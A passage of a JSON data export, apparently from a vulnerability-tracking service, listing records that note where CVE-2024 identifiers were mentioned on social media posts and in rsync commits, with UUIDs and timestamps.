"creation_timestamp": "2025-01-14T23:53:11.390719Z"}, {"uuid": "2b0fa817-f810-4cd4-b666-417e8a10ca7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12226", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113836704921373684", "content": "", "creation_timestamp": "2025-01-16T06:51:08.496521Z"}, {"uuid": "72fff6b8-4a0d-408e-9bbc-e6a84aed0083", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12365", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lftvss2kp22q", "content": "", "creation_timestamp": "2025-01-16T08:54:36.610930Z"}, {"uuid": "34dfbf4f-94c6-4060-b72a-9619ef0e34d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12803", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113797201168877858", "content": "", "creation_timestamp": "2025-01-09T07:24:49.158049Z"}, {"uuid": "41b60020-ec79-461c-9b17-26113de939ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://git.samba.org/?p=rsync.git;a=commit;h=42e2b56c4ede3ab164f9a5c6dae02aa84606a6c1", "content": "", "creation_timestamp": "2024-11-05T20:01:03.000000Z"}, {"uuid": "37785b5a-f386-407b-b4e2-86c9b61091ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://bsky.app/profile/zen-logic.bsky.social/post/3lfskqwhsjc2h", "content": "", "creation_timestamp": "2025-01-15T20:04:03.423472Z"}, {"uuid": "67ae41d2-5256-467f-8472-2ec7f7cc4360", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12105", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113759492380346040", "content": "", "creation_timestamp": "2025-01-02T15:34:59.267570Z"}, {"uuid": "c04d79b1-536c-481e-b616-5fe57eaf5f1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12106", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113759492380346040", "content": "", "creation_timestamp": "2025-01-02T15:34:59.306260Z"}, {"uuid": "1aea4c57-31b7-4f26-b089-80234bc234a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113759492380346040", "content": "", "creation_timestamp": "2025-01-02T15:34:59.331168Z"}, {"uuid": "a6a3c2a4-d827-497e-bde0-73092a112d50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lergut4g322m", "content": "", "creation_timestamp": "2025-01-02T15:56:47.618535Z"}, {"uuid": "ca6e0304-b092-4724-8e97-7f8d57b715f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12907", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lerhwdjptz25", "content": "", "creation_timestamp": "2025-01-02T16:15:33.772176Z"}, {"uuid": "4ead7b90-9f7d-4ba7-a7f4-e96cc573fbc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12907", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lerjxlkufg2g", "content": "", "creation_timestamp": "2025-01-02T16:52:03.759624Z"}, {"uuid": "2b442871-d289-4f7c-b608-b59f9bb1fe35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://mstdn.ca/users/rfwaveio/statuses/113759821558228119", "content": "", "creation_timestamp": "2025-01-02T16:58:44.617935Z"}, {"uuid": "0465cc18-6f5a-43e3-8416-86a157ef9088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lespfct4fc27", "content": "", "creation_timestamp": "2025-01-03T04:01:50.037046Z"}, {"uuid": "dded988f-f168-495b-9d0e-e5176cd7876a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3less57l3n22w", "content": "", "creation_timestamp": "2025-01-03T04:51:01.211372Z"}, {"uuid": "4d47378f-a3b8-48ac-8ff4-8f8deff3b27f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12912", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3leswxtg7dk2j", "content": "", "creation_timestamp": "2025-01-03T06:17:27.857028Z"}, {"uuid": "3cc437be-b723-456b-ac52-e29ec1b0d7c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12108", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3leswz6dllc2j", "content": "", "creation_timestamp": "2025-01-03T06:18:12.948285Z"}, {"uuid": "b9c974a0-b443-4761-8e53-f623d6deb717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12833", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113763450436894788", "content": "", "creation_timestamp": "2025-01-03T08:21:33.649323Z"}, {"uuid": "e5019c7b-7124-4399-85c1-9005d55a0d5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12132", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113763456158197001", "content": "", "creation_timestamp": "2025-01-03T08:23:01.224724Z"}, {"uuid": "d7f50e9a-d550-40b6-9428-33391a3069c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12132", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3letavqjsnn2k", "content": "", "creation_timestamp": "2025-01-03T09:15:14.959315Z"}, {"uuid": "c73b19c7-649a-4ccf-a81a-e390e9a12b47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12132", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3letdae5wd22q", "content": "", "creation_timestamp": "2025-01-03T09:56:59.707074Z"}, {"uuid": "236aa933-cb98-4fb2-a5bc-73dc8375afed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3letf3uq72y2q", "content": "", "creation_timestamp": "2025-01-03T10:30:15.860662Z"}, {"uuid": "41af54a5-3a15-4bb3-bb67-039af44a44be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3letnnryie22k", "content": "", "creation_timestamp": "2025-01-03T13:03:26.611893Z"}, {"uuid": "8e93a2ac-9842-44a6-8c27-5371ef192e3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3letozqo5u42j", "content": "", "creation_timestamp": "2025-01-03T13:28:02.135815Z"}, {"uuid": "48297c1a-27d6-4032-be86-eeb0fa5de0e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12237", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113766784501508927", "content": "", "creation_timestamp": "2025-01-03T22:29:29.148339Z"}, {"uuid": "c69062d1-2918-4c1d-9d81-8affa6d044d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12356", "type": "seen", "source": "https://mastodon.social/users/hrbrmstr/statuses/113767052661066815", "content": "", "creation_timestamp": "2025-01-03T23:37:41.673008Z"}, {"uuid": "edf68e1c-29c7-4120-aff1-b0b7ad2891c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12047", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113768895249923009", "content": "", "creation_timestamp": "2025-01-04T07:26:19.761355Z"}, {"uuid": "b7ae9dcf-3021-4367-8b10-bbcf74f344e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12545", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113768895264374934", "content": "", "creation_timestamp": "2025-01-04T07:26:19.968997Z"}, {"uuid": "dc16e3e4-860f-4391-87ad-3ed310183402", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12701", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113768954267290945", "content": "", "creation_timestamp": "2025-01-04T07:41:21.001942Z"}, {"uuid": "efb1d9ab-d7fe-4238-9be4-fd7c79ba7ea2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12583", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113769121406411898", "content": "", "creation_timestamp": "2025-01-04T08:23:51.020777Z"}, {"uuid": "a152cecf-774d-4b39-8393-94abba61c758", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12221", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113769365715143941", "content": "", "creation_timestamp": "2025-01-04T09:26:04.948350Z"}, {"uuid": "1b281158-b86e-4f19-8432-1e665363fae3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12279", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113769818823146560", "content": "", "creation_timestamp": "2025-01-04T11:21:09.185644Z"}, {"uuid": "3d1432a5-24a2-4e31-a075-043de4c3b30c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12475", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113769818837566127", "content": "", "creation_timestamp": "2025-01-04T11:21:10.207013Z"}, {"uuid": "5e41b0be-d885-4776-b548-7d0cc0be55b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12195", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113769844738584802", "content": "", "creation_timestamp": "2025-01-04T11:27:43.972106Z"}, {"uuid": "5e95961b-4ffc-41b0-9536-a01d6ded667c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12195", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lew3h6qn5v22", "content": "", "creation_timestamp": "2025-01-04T12:15:37.154752Z"}, {"uuid": "3268888d-c2ae-4034-abf3-e7e014057787", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12279", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lew3hbl2km2a", "content": "", "creation_timestamp": "2025-01-04T12:15:40.039166Z"}, {"uuid": "1c7c5e7e-cd3c-4acb-b731-04da310854e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12475", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lew3hdtofh2m", "content": "", "creation_timestamp": "2025-01-04T12:15:42.239722Z"}, {"uuid": "9b0f1abf-01c5-4056-bad9-04b0cce4549a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12475", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lew4x3zdad2q", "content": "", "creation_timestamp": "2025-01-04T12:42:25.076937Z"}, {"uuid": "8466e144-e291-40bf-95d0-a91c965349fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12279", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lew4x44kqt2q", "content": "", "creation_timestamp": "2025-01-04T12:42:25.533447Z"}, {"uuid": "a3262be7-d4a1-4de5-ac7e-4b1474e661ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12195", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lew4x47xzh2u", "content": "", "creation_timestamp": "2025-01-04T12:42:26.074788Z"}, {"uuid": "90e113e7-11ea-49ce-af91-d47d908348d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://bsky.app/profile/barrymurrell.bsky.social/post/3leynxkqook2c", "content": "", "creation_timestamp": "2025-01-05T12:52:12.895757Z"}, {"uuid": "b47d3a4d-93c0-4822-a5b5-bbc3b181dd20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lf2bjz6afs2i", "content": "", "creation_timestamp": "2025-01-06T04:15:18.231327Z"}, {"uuid": "b0e79082-9eb1-4b4b-935e-b0bdb694f7ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12106", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lf2bjz6afs2i", "content": "", "creation_timestamp": "2025-01-06T04:15:18.331010Z"}, {"uuid": "3b8b0126-694c-4dac-89d2-1d975b875e17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12105", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lf2bjz6afs2i", "content": "", "creation_timestamp": "2025-01-06T04:15:18.409234Z"}, {"uuid": "567f5c95-a73c-4b06-902f-a18606bc11a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12302", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113779894279783962", "content": "", "creation_timestamp": "2025-01-06T06:03:27.085260Z"}, {"uuid": "7afc4467-0629-4ace-b457-9378710d184f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12311", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113779894293721804", "content": "", "creation_timestamp": "2025-01-06T06:03:31.376886Z"}, {"uuid": "837583f2-d43d-4b9a-b79b-6b52d6cf00d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12302", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf2ib65k4k22", "content": "", "creation_timestamp": "2025-01-06T06:15:32.752712Z"}, {"uuid": "0b7da31a-4715-4d34-86cf-c526c953d49e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12311", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf2ibaes2f2l", "content": "", "creation_timestamp": "2025-01-06T06:15:34.951162Z"}, {"uuid": "bb7c4a91-0477-4846-9b5a-3e2314d0a853", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12311", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf2k2xp2kp2e", "content": "", "creation_timestamp": "2025-01-06T06:47:53.034692Z"}, {"uuid": "db0e516c-3c28-4909-baa2-27cd945fa42e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12302", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf2k2xt3ib2k", "content": "", "creation_timestamp": "2025-01-06T06:47:53.549162Z"}, {"uuid": "83ed3382-3787-47d4-bd4d-1c83ef45f968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12970", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf34emq3gx2o", "content": "", "creation_timestamp": "2025-01-06T12:15:23.451461Z"}, {"uuid": "5453e1b6-9df7-44dc-8797-fb0ca089e3f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12970", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf367ak26k2q", "content": "", "creation_timestamp": "2025-01-06T12:48:10.351604Z"}, {"uuid": "a8998fae-3a37-4b79-bb43-ae25d50b3469", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/rodtrent.bsky.social/post/3lf3bfdn32c2h", "content": "", "creation_timestamp": "2025-01-06T13:45:16.465583Z"}, {"uuid": "bb0ca848-edf0-4051-a3a3-52287c566e8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://bsky.app/profile/rodtrent.bsky.social/post/3lf3bfdn32c2h", "content": "", "creation_timestamp": "2025-01-06T13:45:16.515238Z"}, {"uuid": "fc294f67-9225-4b93-bdbe-4c51ed1de297", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12996", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf3ggvwcst2a", "content": "", "creation_timestamp": "2025-01-06T15:15:37.844714Z"}, {"uuid": "4ddf7832-5788-497c-b956-8ea73e451c49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12997", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf3ggy6q3d2m", "content": "", "creation_timestamp": "2025-01-06T15:15:40.414599Z"}, {"uuid": "ed46cd59-19b2-4984-9bbb-e378990db433", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12997", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf3itconia2i", "content": "", "creation_timestamp": "2025-01-06T15:58:21.009952Z"}, {"uuid": "f736cd62-530b-4d34-bc74-ef8b0909a929", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12996", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf3itcyzux2k", "content": "", "creation_timestamp": "2025-01-06T15:58:21.733663Z"}, {"uuid": "d9a1cf5a-76d7-465e-87ae-f3680e2d3dfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12464", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785617251037285", "content": "", "creation_timestamp": "2025-01-07T06:18:52.499538Z"}, {"uuid": "923c186d-5201-453c-b4f4-14588dfca250", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/binitamshah.bsky.social/post/3lflasut3x226", "content": "", "creation_timestamp": "2025-01-12T22:17:36.973793Z"}, {"uuid": "046d87d4-c6e4-4501-9f58-b437d99d189b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://git.samba.org/?p=rsync.git;a=commit;h=0902b52f6687b1f7952422080d50b93108742e53", "content": "", "creation_timestamp": "2024-10-30T07:06:34.000000Z"}, {"uuid": "54ecb6c5-d4f2-4f5b-a78f-a7a9ab0f8429", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113800238627441326", "content": "", "creation_timestamp": "2025-01-09T20:17:17.198924Z"}, {"uuid": "ec83e8dd-2f89-4458-85c0-11a2e044172e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12805", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113797231370509260", "content": "", "creation_timestamp": "2025-01-09T07:32:29.877200Z"}, {"uuid": "d214c1cb-a9a3-4eb5-bfd0-8e3fefa3e3c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12806", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113797231384459462", "content": "", "creation_timestamp": "2025-01-09T07:32:30.166643Z"}, {"uuid": "e3bc1fcd-7b7c-4595-984d-0b682c79b4e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/bot.reality.eth.link/post/3lft2jhvc2v2k", "content": "", "creation_timestamp": "2025-01-16T00:46:12.512111Z"}, {"uuid": "16486eef-665a-4d55-8fb8-39d196dd7824", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://fosstodon.org/users/cedric/statuses/113831543046243690", "content": "", "creation_timestamp": "2025-01-15T08:58:25.196279Z"}, {"uuid": "18c091a8-91a4-4fcc-be71-ce231a855aa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12847", "type": "seen", "source": "https://mastodon.social/users/hrbrmstr/statuses/113805235181948713", "content": "", "creation_timestamp": "2025-01-10T17:27:59.693724Z"}, {"uuid": "4c429f31-b1ed-42ec-ac2a-1ea0f8e40ec3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/hrbrmstr.dev/post/3lffppc4nkl2w", "content": "", "creation_timestamp": "2025-01-10T17:28:00.296419Z"}, {"uuid": "9b9a63f3-46bb-4cf2-ba0c-59fdc70089c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12847", "type": "seen", "source": "https://bsky.app/profile/hrbrmstr.mastodon.social.ap.brid.gy/post/3lffppifdjbc2", "content": "", "creation_timestamp": "2025-01-10T17:28:21.944098Z"}, {"uuid": "9bfdf63b-aaad-4add-9d08-47d1b834361b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12403", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113831661336637777", "content": "", "creation_timestamp": "2025-01-15T09:28:29.460289Z"}, {"uuid": "3dd0e832-1a37-4240-af18-cfda812d10a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12423", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113831661350945028", "content": "", "creation_timestamp": "2025-01-15T09:28:29.746569Z"}, {"uuid": "f4e33ea7-89d0-4024-a718-48c0e9eeb246", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12083", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfo3ahmndv2t", "content": "", "creation_timestamp": "2025-01-14T01:15:45.333097Z"}, {"uuid": "c7079397-07ce-4477-8feb-4247b5071b76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfoheay5zu2r", "content": "", "creation_timestamp": "2025-01-14T04:52:37.591915Z"}, {"uuid": "2ef86c0f-3344-455f-86fc-19316bde53b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12818", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113831661364719925", "content": "", "creation_timestamp": "2025-01-15T09:28:30.120510Z"}, {"uuid": "994386fb-e08f-4654-8ce5-4fdf6a721385", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/piyokango.bsky.social/post/3lfgnd2na222z", "content": "", "creation_timestamp": "2025-01-11T02:18:05.528786Z"}, {"uuid": 